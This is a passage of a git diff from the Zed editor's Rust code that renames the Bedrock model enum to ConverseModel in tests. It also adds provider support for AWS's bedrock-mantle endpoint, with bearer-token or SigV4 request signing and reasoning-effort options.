+            ConverseModel::ClaudeSonnet4_5.cross_region_inference_id("us-gov-east-1", false)?,
             "us-gov.anthropic.claude-sonnet-4-5-20250929-v1:0"
         );
         assert_eq!(
-            Model::ClaudeSonnet4_5.cross_region_inference_id("us-gov-west-1", false)?,
+            ConverseModel::ClaudeSonnet4_5.cross_region_inference_id("us-gov-west-1", false)?,
             "us-gov.anthropic.claude-sonnet-4-5-20250929-v1:0"
         );
         Ok(())
@@ -980,45 +1108,45 @@ mod tests {
     #[test]
     fn test_global_inference_ids() -> anyhow::Result<()> {
         assert_eq!(
-            Model::ClaudeSonnet4.cross_region_inference_id("us-east-1", true)?,
+            ConverseModel::ClaudeSonnet4.cross_region_inference_id("us-east-1", true)?,
             "global.anthropic.claude-sonnet-4-20250514-v1:0"
         );
         assert_eq!(
-            Model::ClaudeSonnet4_5.cross_region_inference_id("eu-west-1", true)?,
+            ConverseModel::ClaudeSonnet4_5.cross_region_inference_id("eu-west-1", true)?,
             "global.anthropic.claude-sonnet-4-5-20250929-v1:0"
         );
         assert_eq!(
-            Model::ClaudeHaiku4_5.cross_region_inference_id("ap-south-1", true)?,
+            ConverseModel::ClaudeHaiku4_5.cross_region_inference_id("ap-south-1", true)?,
             "global.anthropic.claude-haiku-4-5-20251001-v1:0"
         );
         assert_eq!(
-            Model::ClaudeOpus4_6.cross_region_inference_id("us-east-1", true)?,
+            ConverseModel::ClaudeOpus4_6.cross_region_inference_id("us-east-1", true)?,
             "global.anthropic.claude-opus-4-6-v1"
         );
         assert_eq!(
-            Model::ClaudeOpus4_7.cross_region_inference_id("us-east-1", true)?,
+            ConverseModel::ClaudeOpus4_7.cross_region_inference_id("us-east-1", true)?,
             "global.anthropic.claude-opus-4-7"
         );
         assert_eq!(
-            Model::ClaudeOpus4_8.cross_region_inference_id("us-east-1", true)?,
+            ConverseModel::ClaudeOpus4_8.cross_region_inference_id("us-east-1", true)?,
             "global.anthropic.claude-opus-4-8"
         );
         assert_eq!(
-            Model::ClaudeFable5.cross_region_inference_id("us-east-1", true)?,
+            ConverseModel::ClaudeFable5.cross_region_inference_id("us-east-1", true)?,
             "global.anthropic.claude-fable-5"
         );
         assert_eq!(
-            Model::ClaudeSonnet5.cross_region_inference_id("us-east-1", true)?,
+            ConverseModel::ClaudeSonnet5.cross_region_inference_id("us-east-1", true)?,
             "global.anthropic.claude-sonnet-5"
         );
         assert_eq!(
-            Model::Nova2Lite.cross_region_inference_id("us-east-1", true)?,
+            ConverseModel::Nova2Lite.cross_region_inference_id("us-east-1", true)?,
             "global.amazon.nova-2-lite-v1:0"
         );
 
         // Models without global support fall back to regional
         assert_eq!(
-            Model::NovaPro.cross_region_inference_id("us-east-1", true)?,
+            ConverseModel::NovaPro.cross_region_inference_id("us-east-1", true)?,
             "us.amazon.nova-pro-v1:0"
         );
         Ok(())
@@ -1028,27 +1156,27 @@ mod tests {
     fn test_models_without_cross_region() -> anyhow::Result<()> {
         // Models without cross-region support return their request_id directly
         assert_eq!(
-            Model::Gemma3_4B.cross_region_inference_id("us-east-1", false)?,
+            ConverseModel::Gemma3_4B.cross_region_inference_id("us-east-1", false)?,
             "google.gemma-3-4b-it"
         );
         assert_eq!(
-            Model::MistralLarge3.cross_region_inference_id("eu-west-1", false)?,
+            ConverseModel::MistralLarge3.cross_region_inference_id("eu-west-1", false)?,
             "mistral.mistral-large-3-675b-instruct"
         );
         assert_eq!(
-            Model::Qwen3VL235B.cross_region_inference_id("ap-south-1", false)?,
+            ConverseModel::Qwen3VL235B.cross_region_inference_id("ap-south-1", false)?,
             "qwen.qwen3-vl-235b-a22b"
         );
         assert_eq!(
-            Model::GptOss120B.cross_region_inference_id("us-east-1", false)?,
+            ConverseModel::GptOss120B.cross_region_inference_id("us-east-1", false)?,
             "openai.gpt-oss-120b-1:0"
         );
         assert_eq!(
-            Model::MiniMaxM2.cross_region_inference_id("us-east-1", false)?,
+            ConverseModel::MiniMaxM2.cross_region_inference_id("us-east-1", false)?,
             "minimax.minimax-m2"
         );
         assert_eq!(
-            Model::KimiK2Thinking.cross_region_inference_id("us-east-1", false)?,
+            ConverseModel::KimiK2Thinking.cross_region_inference_id("us-east-1", false)?,
             "moonshot.kimi-k2-thinking"
         );
         Ok(())
@@ -1056,7 +1184,7 @@ mod tests {
 
     #[test]
     fn test_custom_model_inference_ids() -> anyhow::Result<()> {
-        let custom_model = Model::Custom {
+        let custom_model = ConverseModel::Custom {
             name: "custom.my-model-v1:0".to_string(),
             max_tokens: 100000,
             display_name: Some("My Custom Model".to_string()),
@@ -1078,78 +1206,90 @@ mod tests {
 
     #[test]
     fn test_friendly_id_vs_request_id() {
-        assert_eq!(Model::ClaudeSonnet4_5.id(), "claude-sonnet-4-5");
-        assert_eq!(Model::NovaLite.id(), "nova-lite");
-        assert_eq!(Model::DeepSeekR1.id(), "deepseek-r1");
-        assert_eq!(Model::Llama4Scout17B.id(), "llama-4-scout-17b");
-        assert_eq!(Model::ClaudeFable5.id(), "claude-fable-5");
-        assert_eq!(Model::ClaudeSonnet5.id(), "claude-sonnet-5");
+        assert_eq!(ConverseModel::ClaudeSonnet4_5.id(), "claude-sonnet-4-5");
+        assert_eq!(ConverseModel::NovaLite.id(), "nova-lite");
+        assert_eq!(ConverseModel::DeepSeekR1.id(), "deepseek-r1");
+        assert_eq!(ConverseModel::Llama4Scout17B.id(), "llama-4-scout-17b");
+        assert_eq!(ConverseModel::ClaudeFable5.id(), "claude-fable-5");
+        assert_eq!(ConverseModel::ClaudeSonnet5.id(), "claude-sonnet-5");
 
         assert_eq!(
-            Model::ClaudeSonnet4_5.request_id(),
+            ConverseModel::ClaudeSonnet4_5.request_id(),
             "anthropic.claude-sonnet-4-5-20250929-v1:0"
         );
-        assert_eq!(Model::NovaLite.request_id(), "amazon.nova-lite-v1:0");
-        assert_eq!(Model::DeepSeekR1.request_id(), "deepseek.r1-v1:0");
         assert_eq!(
-            Model::Llama4Scout17B.request_id(),
+            ConverseModel::NovaLite.request_id(),
+            "amazon.nova-lite-v1:0"
+        );
+        assert_eq!(ConverseModel::DeepSeekR1.request_id(), "deepseek.r1-v1:0");
+        assert_eq!(
+            ConverseModel::Llama4Scout17B.request_id(),
             "meta.llama4-scout-17b-instruct-v1:0"
         );
-        assert_eq!(Model::ClaudeFable5.request_id(), "anthropic.claude-fable-5");
         assert_eq!(
-            Model::ClaudeSonnet5.request_id(),
+            ConverseModel::ClaudeFable5.request_id(),
+            "anthropic.claude-fable-5"
+        );
+        assert_eq!(
+            ConverseModel::ClaudeSonnet5.request_id(),
             "anthropic.claude-sonnet-5"
         );
 
         // Thinking aliases deserialize to the same model
-        assert_eq!(Model::ClaudeSonnet4.id(), "claude-sonnet-4");
+        assert_eq!(ConverseModel::ClaudeSonnet4.id(), "claude-sonnet-4");
         assert_eq!(
-            Model::from_id("claude-sonnet-4-thinking").unwrap().id(),
+            ConverseModel::from_id("claude-sonnet-4-thinking")
+                .unwrap()
+                .id(),
             "claude-sonnet-4"
         );
         assert_eq!(
-            Model::from_id("claude-fable-5-thinking").unwrap().id(),
+            ConverseModel::from_id("claude-fable-5-thinking")
+                .unwrap()
+                .id(),
             "claude-fable-5"
         );
         assert_eq!(
-            Model::from_id("claude-sonnet-5-thinking").unwrap().id(),
+            ConverseModel::from_id("claude-sonnet-5-thinking")
+                .unwrap()
+                .id(),
             "claude-sonnet-5"
         );
     }
 
     #[test]
     fn test_thinking_modes() {
-        assert!(Model::ClaudeHaiku4_5.supports_thinking());
-        assert!(Model::ClaudeSonnet4.supports_thinking());
-        assert!(Model::ClaudeSonnet4_5.supports_thinking());
-        assert!(Model::ClaudeOpus4_6.supports_thinking());
-        assert!(Model::ClaudeFable5.supports_thinking());
-
-        assert!(!Model::ClaudeSonnet4.supports_adaptive_thinking());
-        assert!(Model::ClaudeOpus4_6.supports_adaptive_thinking());
-        assert!(Model::ClaudeSonnet4_6.supports_adaptive_thinking());
-        assert!(Model::ClaudeFable5.supports_adaptive_thinking());
-        assert!(Model::ClaudeSonnet5.supports_adaptive_thinking());
-        assert!(!Model::ClaudeOpus4_7.supports_xhigh_adaptive_thinking());
-        assert!(Model::ClaudeFable5.supports_xhigh_adaptive_thinking());
-        assert!(Model::ClaudeSonnet5.supports_xhigh_adaptive_thinking());
-        assert!(Model::ClaudeOpus4_8.supports_xhigh_adaptive_thinking());
+        assert!(ConverseModel::ClaudeHaiku4_5.supports_thinking());
+        assert!(ConverseModel::ClaudeSonnet4.supports_thinking());
+        assert!(ConverseModel::ClaudeSonnet4_5.supports_thinking());
+        assert!(ConverseModel::ClaudeOpus4_6.supports_thinking());
+        assert!(ConverseModel::ClaudeFable5.supports_thinking());
+
+        assert!(!ConverseModel::ClaudeSonnet4.supports_adaptive_thinking());
+        assert!(ConverseModel::ClaudeOpus4_6.supports_adaptive_thinking());
+        assert!(ConverseModel::ClaudeSonnet4_6.supports_adaptive_thinking());
+        assert!(ConverseModel::ClaudeFable5.supports_adaptive_thinking());
+        assert!(ConverseModel::ClaudeSonnet5.supports_adaptive_thinking());
+        assert!(!ConverseModel::ClaudeOpus4_7.supports_xhigh_adaptive_thinking());
+        assert!(ConverseModel::ClaudeFable5.supports_xhigh_adaptive_thinking());
+        assert!(ConverseModel::ClaudeSonnet5.supports_xhigh_adaptive_thinking());
+        assert!(ConverseModel::ClaudeOpus4_8.supports_xhigh_adaptive_thinking());
         assert_eq!(BedrockAdaptiveThinkingEffort::XHigh.as_str(), "xhigh");
 
         assert_eq!(
-            Model::ClaudeSonnet4.thinking_mode(),
+            ConverseModel::ClaudeSonnet4.thinking_mode(),
             BedrockModelMode::Thinking {
                 budget_tokens: Some(4096)
             }
         );
         assert_eq!(
-            Model::ClaudeOpus4_6.thinking_mode(),
+            ConverseModel::ClaudeOpus4_6.thinking_mode(),
             BedrockModelMode::AdaptiveThinking {
                 effort: BedrockAdaptiveThinkingEffort::High
             }
         );
         assert_eq!(
-            Model::ClaudeHaiku4_5.thinking_mode(),
+            ConverseModel::ClaudeHaiku4_5.thinking_mode(),
             BedrockModelMode::Thinking {
                 budget_tokens: Some(4096)
             }
@@ -1158,44 +1298,44 @@ mod tests {
 
     #[test]
     fn test_max_token_count() {
-        assert_eq!(Model::ClaudeSonnet4_5.max_token_count(), 1_000_000);
-        assert_eq!(Model::ClaudeOpus4_6.max_token_count(), 1_000_000);
-        assert_eq!(Model::ClaudeFable5.max_token_count(), 1_000_000);
-        assert_eq!(Model::ClaudeSonnet5.max_token_count(), 1_000_000);
-        assert_eq!(Model::Llama4Scout17B.max_token_count(), 128_000);
-        assert_eq!(Model::NovaPremier.max_token_count(), 1_000_000);
+        assert_eq!(ConverseModel::ClaudeSonnet4_5.max_token_count(), 1_000_000);
+        assert_eq!(ConverseModel::ClaudeOpus4_6.max_token_count(), 1_000_000);
+        assert_eq!(ConverseModel::ClaudeFable5.max_token_count(), 1_000_000);
+        assert_eq!(ConverseModel::ClaudeSonnet5.max_token_count(), 1_000_000);
+        assert_eq!(ConverseModel::Llama4Scout17B.max_token_count(), 128_000);
+        assert_eq!(ConverseModel::NovaPremier.max_token_count(), 1_000_000);
     }
 
     #[test]
     fn test_max_output_tokens() {
-        assert_eq!(Model::ClaudeSonnet4_5.max_output_tokens(), 64_000);
-        assert_eq!(Model::ClaudeOpus4_6.max_output_tokens(), 128_000);
-        assert_eq!(Model::ClaudeFable5.max_output_tokens(), 128_000);
-        assert_eq!(Model::ClaudeSonnet5.max_output_tokens(), 128_000);
-        assert_eq!(Model::ClaudeOpus4_1.max_output_tokens(), 32_000);
-        assert_eq!(Model::Gemma3_4B.max_output_tokens(), 8_192);
+        assert_eq!(ConverseModel::ClaudeSonnet4_5.max_output_tokens(), 64_000);
+        assert_eq!(ConverseModel::ClaudeOpus4_6.max_output_tokens(), 128_000);
+        assert_eq!(ConverseModel::ClaudeFable5.max_output_tokens(), 128_000);
+        assert_eq!(ConverseModel::ClaudeSonnet5.max_output_tokens(), 128_000);
+        assert_eq!(ConverseModel::ClaudeOpus4_1.max_output_tokens(), 32_000);
+        assert_eq!(ConverseModel::Gemma3_4B.max_output_tokens(), 8_192);
     }
 
     #[test]
     fn test_supports_tool_use() {
-        assert!(Model::ClaudeSonnet4_5.supports_tool_use());
-        assert!(Model::ClaudeFable5.supports_tool_use());
-        assert!(Model::NovaPro.supports_tool_use());
-        assert!(Model::MistralLarge3.supports_tool_use());
-        assert!(!Model::Gemma3_4B.supports_tool_use());
-        assert!(Model::Qwen3_32B.supports_tool_use());
-        assert!(Model::MiniMaxM2.supports_tool_use());
-        assert!(Model::KimiK2_5.supports_tool_use());
-        assert!(Model::DeepSeekR1.supports_tool_use());
-        assert!(!Model::Llama4Scout17B.supports_tool_use());
+        assert!(ConverseModel::ClaudeSonnet4_5.supports_tool_use());
+        assert!(ConverseModel::ClaudeFable5.supports_tool_use());
+        assert!(ConverseModel::NovaPro.supports_tool_use());
+        assert!(ConverseModel::MistralLarge3.supports_tool_use());
+        assert!(!ConverseModel::Gemma3_4B.supports_tool_use());
+        assert!(ConverseModel::Qwen3_32B.supports_tool_use());
+        assert!(ConverseModel::MiniMaxM2.supports_tool_use());
+        assert!(ConverseModel::KimiK2_5.supports_tool_use());
+        assert!(ConverseModel::DeepSeekR1.supports_tool_use());
+        assert!(!ConverseModel::Llama4Scout17B.supports_tool_use());
     }
 
     #[test]
     fn test_supports_caching() {
-        assert!(Model::ClaudeSonnet4_5.supports_caching());
-        assert!(Model::ClaudeOpus4_6.supports_caching());
-        assert!(Model::ClaudeFable5.supports_caching());
-        assert!(!Model::Llama4Scout17B.supports_caching());
-        assert!(!Model::NovaPro.supports_caching());
+        assert!(ConverseModel::ClaudeSonnet4_5.supports_caching());
+        assert!(ConverseModel::ClaudeOpus4_6.supports_caching());
+        assert!(ConverseModel::ClaudeFable5.supports_caching());
+        assert!(!ConverseModel::Llama4Scout17B.supports_caching());
+        assert!(!ConverseModel::NovaPro.supports_caching());
     }
 }
diff --git a/crates/language_models/Cargo.toml b/crates/language_models/Cargo.toml
index 57a0d530e451b2..8da9eb332ed79c 100644
--- a/crates/language_models/Cargo.toml
+++ b/crates/language_models/Cargo.toml
@@ -18,6 +18,7 @@ anthropic = { workspace = true, features = ["schemars"] }
 anyhow.workspace = true
 aws-config = { workspace = true, features = ["behavior-version-latest"] }
 aws-credential-types = { workspace = true, features = ["hardcoded-credentials"] }
+aws-sigv4.workspace = true
 aws_http_client.workspace = true
 base64.workspace = true
 bedrock = { workspace = true, features = ["schemars"] }
diff --git a/crates/language_models/src/provider/bedrock.rs b/crates/language_models/src/provider/bedrock.rs
index ba3b587151a060..fe12a5eb3a12db 100644
--- a/crates/language_models/src/provider/bedrock.rs
+++ b/crates/language_models/src/provider/bedrock.rs
@@ -5,8 +5,11 @@ use anyhow::{Context as _, Result, anyhow};
 use async_lock::OnceCell;
 use aws_config::stalled_stream_protection::StalledStreamProtectionConfig;
 use aws_config::{BehaviorVersion, Region};
+use aws_credential_types::provider::{ProvideCredentials, SharedCredentialsProvider};
 use aws_credential_types::{Credentials, Token};
 use aws_http_client::AwsHttpClient;
+use aws_sigv4::http_request::{SignableBody, SignableRequest, SigningSettings, sign};
+use aws_sigv4::sign::v4;
 use bedrock::BedrockSystemContentBlock;
 use bedrock::bedrock_client::Client as BedrockClient;
 use bedrock::bedrock_client::config::timeout::TimeoutConfig;
@@ -20,37 +23,53 @@ use bedrock::{
     BedrockStreamingResponse, BedrockThinkingBlock, BedrockThinkingTextBlock, BedrockTool,
     BedrockToolChoice, BedrockToolConfig, BedrockToolInputSchema, BedrockToolResultBlock,
     BedrockToolResultContentBlock, BedrockToolResultStatus, BedrockToolSpec, BedrockToolUseBlock,
-    Model, value_to_aws_document,
+    ConverseModel, MantleModel, MantleProtocol, value_to_aws_document,
 };
 use collections::{BTreeMap, HashMap};
 use credentials_provider::CredentialsProvider;
-use futures::{FutureExt, Stream, StreamExt, future::BoxFuture, stream::BoxStream};
+use futures::{
+    AsyncBufReadExt, AsyncReadExt, FutureExt, Stream, StreamExt, future::BoxFuture, io::BufReader,
+    stream::BoxStream,
+};
 use gpui::{
     App, AsyncApp, Context, Entity, FocusHandle, Subscription, Task, TaskExt, Window, actions,
 };
 use gpui_tokio::Tokio;
-use http_client::HttpClient;
+use http_client::{
+    AsyncBody, CustomHeaders, HttpClient, Method, Request as HttpRequest, RequestBuilderExt,
+    http::{HeaderValue, header::AUTHORIZATION},
+};
 use language_model::{
     AuthenticateError, EnvVar, IconOrSvg, InlineDescription, LanguageModel,
-    LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelId, LanguageModelName,
-    LanguageModelProvider, LanguageModelProviderId, LanguageModelProviderName,
-    LanguageModelProviderState, LanguageModelRequest, LanguageModelToolChoice,
-    LanguageModelToolResultContent, LanguageModelToolUse, MessageContent, ProviderSettingsView,
-    RateLimiter, Role, SubPageProviderSettings, TokenUsage, env_var,
+    LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelEffortLevel,
+    LanguageModelId, LanguageModelName, LanguageModelProvider, LanguageModelProviderId,
+    LanguageModelProviderName, LanguageModelProviderState, LanguageModelRequest,
+    LanguageModelToolChoice, LanguageModelToolResultContent, LanguageModelToolSchemaFormat,
+    LanguageModelToolUse, MessageContent, ProviderSettingsView, RateLimiter, Role,
+    SubPageProviderSettings, TokenUsage, env_var,
 };
+use open_ai::responses::Request as OpenAiResponseRequest;
 use schemars::JsonSchema;
 use serde::{Deserialize, Serialize};
 use serde_json::Value;
-use settings::{BedrockAvailableModel as AvailableModel, Settings, SettingsStore};
+use settings::{
+    BedrockAvailableModel as AvailableModel, BedrockMantleAvailableModel as MantleAvailableModel,
+    Settings, SettingsStore,
+};
 use std::sync::LazyLock;
+use std::time::SystemTime;
 use strum::{EnumIter, IntoEnumIterator, IntoStaticStr};
 use ui::{ButtonLink, ConfiguredApiCard, Divider, List, ListBulletItem, prelude::*};
 use ui_input::InputField;
 use util::ResultExt;
 
 use crate::AllLanguageModelSettings;
-use http_client::CustomHeaders;
+use crate::provider::open_ai::{
+    ChatCompletionMaxTokensParameter, OpenAiEventMapper, OpenAiResponseEventMapper, into_open_ai,
+    into_open_ai_response,
+};
 use language_model::util::{fix_streamed_json, parse_tool_arguments};
+use open_ai::{ReasoningEffort, RequestError, ResponseStreamEvent};
 
 actions!(bedrock, [Tab, TabPrev]);
 
@@ -116,6 +135,7 @@ impl BedrockCredentials {
 #[derive(Default, Clone, Debug, PartialEq)]
 pub struct AmazonBedrockSettings {
     pub available_models: Vec<AvailableModel>,
+    pub mantle_available_models: Vec<MantleAvailableModel>,
     pub custom_headers: CustomHeaders,
     pub region: Option<String>,
     pub endpoint: Option<String>,
@@ -151,6 +171,13 @@ impl From<settings::BedrockAuthMethodContent> for BedrockAuthMethod {
     }
 }
 
+fn mantle_protocol_from_settings(value: settings::BedrockMantleProtocolContent) -> MantleProtocol {
+    match value {
+        settings::BedrockMantleProtocolContent::ChatCompletions => MantleProtocol::ChatCompletions,
+        settings::BedrockMantleProtocolContent::Responses => MantleProtocol::Responses,
+    }
+}
+
 #[derive(Clone, Debug, Default, PartialEq, Serialize, Deserialize, JsonSchema)]
 #[serde(tag = "type", rename_all = "lowercase")]
 pub enum ModelMode {
@@ -200,6 +227,115 @@ static ZED_BEDROCK_REGION_VAR: LazyLock<EnvVar> = env_var!("ZED_AWS_REGION");
 static ZED_AWS_ENDPOINT_VAR: LazyLock<EnvVar> = env_var!("ZED_AWS_ENDPOINT");
 static ZED_BEDROCK_BEARER_TOKEN_VAR: LazyLock<EnvVar> = env_var!("ZED_BEDROCK_BEARER_TOKEN");
 
+/// AWS Regions where the `bedrock-mantle` endpoint is available.
+/// See <https://docs.aws.amazon.com/bedrock/latest/userguide/bedrock-mantle.html#regions>.
+const MANTLE_SUPPORTED_REGIONS: &[&str] = &[
+    "us-east-2",
+    "us-east-1",
+    "us-west-2",
+    "ap-southeast-3",
+    "ap-south-1",
+    "ap-southeast-2",
+    "ap-northeast-1",
+    "eu-central-1",
+    "eu-west-1",
+    "eu-west-2",
+    "eu-south-1",
+    "eu-north-1",
+    "sa-east-1",
+    "us-gov-west-1",
+];
+
+fn mantle_endpoint_url(region: &str) -> String {
+    format!("https://bedrock-mantle.{region}.api.aws/openai/v1")
+}
+
+enum MantleAuth {
+    ApiKey { api_key: String },
+    SigV4 { credentials: Credentials },
+}
+
+impl MantleAuth {
+    fn apply(&self, request: &mut HttpRequest<AsyncBody>, body: &[u8], region: &str) -> Result<()> {
+        match self {
+            MantleAuth::ApiKey { api_key } => {
+                let value = HeaderValue::from_str(&format!("Bearer {}", api_key.trim()))
+                    .context("building Mantle bearer token authorization header")?;
+                request.headers_mut().insert(AUTHORIZATION, value);
+            }
+            MantleAuth::SigV4 { credentials } => {
+                sign_mantle_request_sigv4(request, body, credentials, region)?;
+            }
+        }
+
+        Ok(())
+    }
+}
+
+fn sign_mantle_request_sigv4(
+    request: &mut HttpRequest<AsyncBody>,
+    body: &[u8],
+    credentials: &Credentials,
+    region: &str,
+) -> Result<()> {
+    sign_mantle_request_sigv4_at(request, body, credentials, region, SystemTime::now())
+}
+
+fn sign_mantle_request_sigv4_at(
+    request: &mut HttpRequest<AsyncBody>,
+    body: &[u8],
+    credentials: &Credentials,
+    region: &str,
+    time: SystemTime,
+) -> Result<()> {
+    if !request
+        .headers()
+        .contains_key(http_client::http::header::HOST)
+        && let Some(authority) = request.uri().authority()
+    {
+        let host = HeaderValue::from_str(authority.as_str())
+            .context("invalid host header derived from Mantle request URI")?;
+        request
+            .headers_mut()
+            .insert(http_client::http::header::HOST, host);
+    }
+
+    let identity = credentials.clone().into();
+    let signing_params: aws_sigv4::http_request::SigningParams = v4::SigningParams::builder()
+        .identity(&identity)
+        .region(region)
+        .name("bedrock-mantle")
+        .time(time)
+        .settings(SigningSettings::default())
+        .build()
+        .context("building Mantle SigV4 signing params")?
+        .into();
+
+    let method = request.method().as_str();
+    let uri = request.uri().to_string();
+    let headers = request
+        .headers()
+        .iter()
+        .map(|(name, value)| {
+            value
+                .to_str()
+                .map(|value| (name.as_str(), value))
+                .with_context(|| format!("header {name} is not valid UTF-8 and cannot be signed"))
+        })
+        .collect::<Result<Vec<_>>>()?;
+
+    let signable_request =
+        SignableRequest::new(method, uri, headers.into_iter(), SignableBody::Bytes(body))
+            .context("constructing Mantle SigV4 request")?;
+
+    let (instructions, _signature) = sign(signable_request, &signing_params)
+        .context("signing Mantle request with SigV4")?
+        .into_parts();
+    instructions.apply_to_request_http1x(request);
+
+    Ok(())
+}
+
 pub struct State {
     /// The resolved authentication method. Settings take priority over UX credentials.
     auth: Option<BedrockAuth>,
@@ -407,6 +543,7 @@ impl State {
 
 pub struct BedrockLanguageModelProvider {
     http_client: AwsHttpClient,
+    plain_http_client: Arc<dyn HttpClient>,
     handle: tokio::runtime::Handle,
     state: Entity<State>,
 }
@@ -428,13 +565,14 @@ impl BedrockLanguageModelProvider {
         });
 
         Self {
-            http_client: AwsHttpClient::new(http_client),
+            http_client: AwsHttpClient::new(http_client.clone()),
+            plain_http_client: http_client,
             handle: Tokio::handle(cx),
             state,
         }
     }
 
-    fn create_language_model(&self, model: bedrock::Model) -> Arc<dyn LanguageModel> {
+    fn create_language_model(&self, model: bedrock::ConverseModel) -> Arc<dyn LanguageModel> {
         Arc::new(BedrockModel {
             id: LanguageModelId::from(model.id().to_string()),
             model,
@@ -445,6 +583,17 @@ impl BedrockLanguageModelProvider {
             request_limiter: RateLimiter::new(4),
         })
     }
+
+    fn create_mantle_language_model(&self, model: bedrock::MantleModel) -> Arc<dyn LanguageModel> {
+        Arc::new(BedrockMantleModel {
+            id: LanguageModelId::from(model.id().to_string()),
+            model,
+            http_client: self.plain_http_client.clone(),
+            state: self.state.clone(),
+            credentials_provider: Arc::new(OnceCell::new()),
+            request_limiter: RateLimiter::new(4),
+        })
+    }
 }
 
 impl LanguageModelProvider for BedrockLanguageModelProvider {
@@ -461,32 +610,29 @@ impl LanguageModelProvider for BedrockLanguageModelProvider {
     }
 
     fn default_model(&self, _cx: &App) -> Option<Arc<dyn LanguageModel>> {
-        Some(self.create_language_model(bedrock::Model::default()))
+        Some(self.create_language_model(bedrock::ConverseModel::default()))
     }
 
     fn default_fast_model(&self, cx: &App) -> Option<Arc<dyn LanguageModel>> {
         let region = self.state.read(cx).get_region();
-        Some(self.create_language_model(bedrock::Model::default_fast(region.as_str())))
+        Some(self.create_language_model(bedrock::ConverseModel::default_fast(region.as_str())))
     }
 
     fn provided_models(&self, cx: &App) -> Vec<Arc<dyn LanguageModel>> {
+        let bedrock_settings = &AllLanguageModelSettings::get_global(cx).bedrock;
         let mut models = BTreeMap::default();
 
-        for model in bedrock::Model::iter() {
-            if !matches!(model, bedrock::Model::Custom { .. }) {
+        for model in bedrock::ConverseModel::iter() {
+            if !matches!(model, bedrock::ConverseModel::Custom { .. }) {
                 models.insert(model.id().to_string(), model);
             }
         }
 
         // Override with available models from settings
-        for model in AllLanguageModelSettings::get_global(cx)
-            .bedrock
-            .available_models
-            .iter()
-        {
+        for model in bedrock_settings.available_models.iter() {
             models.insert(
                 model.name.clone(),
-                bedrock::Model::Custom {
+                bedrock::ConverseModel::Custom {
                     name: model.name.clone(),
                     display_name: model.display_name.clone(),
                     max_tokens: model.max_tokens,
@@ -502,10 +648,43 @@ impl LanguageModelProvider for BedrockLanguageModelProvider {
             );
         }
 
-        models
+        let mut models: Vec<Arc<dyn LanguageModel>> = models
             .into_values()
             .map(|model| self.create_language_model(model))
-            .collect()
+            .collect();
+
+        let mut mantle_models = BTreeMap::default();
+
+        for model in bedrock::MantleModel::iter() {
+            if !matches!(model, bedrock::MantleModel::Custom { .. }) {
+                mantle_models.insert(model.id().to_string(), model);
+            }
+        }
+
+        // Override with available Mantle models from settings
+        for model in bedrock_settings.mantle_available_models.iter() {
+            mantle_models.insert(
+                model.name.clone(),
+                bedrock::MantleModel::Custom {
+                    name: model.name.clone(),
+                    display_name: model.display_name.clone(),
+                    max_tokens: model.max_tokens,
+                    max_output_tokens: model.max_output_tokens,
+                    protocol: mantle_protocol_from_settings(model.protocol),
+                    supports_tools: model.supports_tools.unwrap_or(false),
+                    supports_images: model.supports_images.unwrap_or(false),
+                    supports_thinking: model.supports_thinking.unwrap_or(false),
+                },
+            );
+        }
+
+        models.extend(
+            mantle_models
+                .into_values()
+                .map(|model| self.create_mantle_language_model(model)),
+        );
+
+        models
     }
 
     fn is_authenticated(&self, cx: &App) -> bool {
@@ -524,7 +703,7 @@ impl LanguageModelProvider for BedrockLanguageModelProvider {
                     .into()
             })
             .description(InlineDescription::Text(
-                "To use Zed's agent with Bedrock, set a custom authentication strategy in your settings or use static credentials.".into(),
+                "To use Zed's agent with Bedrock, set a custom authentication strategy in your settings or use static credentials. Mantle-only models (e.g. GPT-5.5, GPT-5.4, Grok 4.3) additionally require IAM permissions for the `bedrock-mantle` endpoint.".into(),
             )),
         ))
     }
@@ -540,7 +719,7 @@ impl LanguageModelProviderState for BedrockLanguageModelProvider {
 
 struct BedrockModel {
     id: LanguageModelId,
-    model: Model,
+    model: ConverseModel,
     http_client: AwsHttpClient,
     handle: tokio::runtime::Handle,
     client: OnceCell<BedrockClient>,
@@ -840,6 +1019,485 @@ impl LanguageModel for BedrockModel {
     }
 }
 
+const MANTLE_SELECTABLE_REASONING_EFFORTS: &[ReasoningEffort] = &[
+    ReasoningEffort::Low,
+    ReasoningEffort::Medium,
+    ReasoningEffort::High,
+    ReasoningEffort::XHigh,
+];
+
+fn mantle_default_reasoning_effort(model: &MantleModel) -> Option<ReasoningEffort> {
+    model.supports_thinking().then_some(ReasoningEffort::Medium)
+}
+
+fn mantle_selected_reasoning_effort(
+    request: &LanguageModelRequest,
+    model: &MantleModel,
+) -> Option<ReasoningEffort> {
+    if !model.supports_thinking() {
+        return None;
+    }
+
+    if request.thinking_allowed {
+        request
+            .thinking_effort
+            .as_deref()
+            .and_then(|effort| effort.parse::<ReasoningEffort>().ok())
+            .filter(|effort| *effort != ReasoningEffort::None)
+            .or_else(|| mantle_default_reasoning_effort(model))
+    } else {
+        Some(ReasoningEffort::None)
+    }
+}
+
+fn mantle_supported_effort_levels(model: &MantleModel) -> Vec<LanguageModelEffortLevel> {
+    let Some(default_effort) = mantle_default_reasoning_effort(model) else {
+        return Vec::new();
+    };
+
+    MANTLE_SELECTABLE_REASONING_EFFORTS
+        .iter()
+        .copied()
+        .map(|effort| LanguageModelEffortLevel {
+            name: effort.label().into(),
+            value: effort.value().into(),
+            is_default: effort == default_effort,
+        })
+        .collect()
+}
+
+/// Special-cases Mantle authorization failures with a message that points at
+/// the separate `bedrock-mantle` IAM policy namespace instead of regular
+/// `bedrock-runtime` permissions.
+fn map_mantle_error(model: &MantleModel, error: RequestError) -> LanguageModelCompletionError {
+    if let RequestError::HttpResponseError { status_code, .. } = &error
+        && *status_code == http_client::http::StatusCode::FORBIDDEN
+    {
+        return LanguageModelCompletionError::PermissionError {
+            provider: PROVIDER_NAME,
+            message: format!(
+                "Bedrock Mantle denied this request for {}. Mantle-only models require IAM \
+                 permissions for the `bedrock-mantle` endpoint (for example via the \
+                 `AmazonBedrockMantleInferenceAccess` managed policy) in addition to whatever \
+                 permissions your existing Bedrock credentials already have.",
+                model.display_name()
+            ),
+        };
+    }
+    error.into()
+}
+
+/// Resolves an AWS credentials provider for profile/SSO/automatic auth.
+/// Cached in `cell` since building it may read config files from disk;
+/// credentials themselves are still re-resolved on every call. Async so this
+/// never blocks the foreground thread (unlike `BedrockModel::get_or_init_client`).
+async fn resolve_mantle_credentials_provider(
+    cell: &OnceCell<SharedCredentialsProvider>,
+    profile_name: Option<String>,
+    region: String,
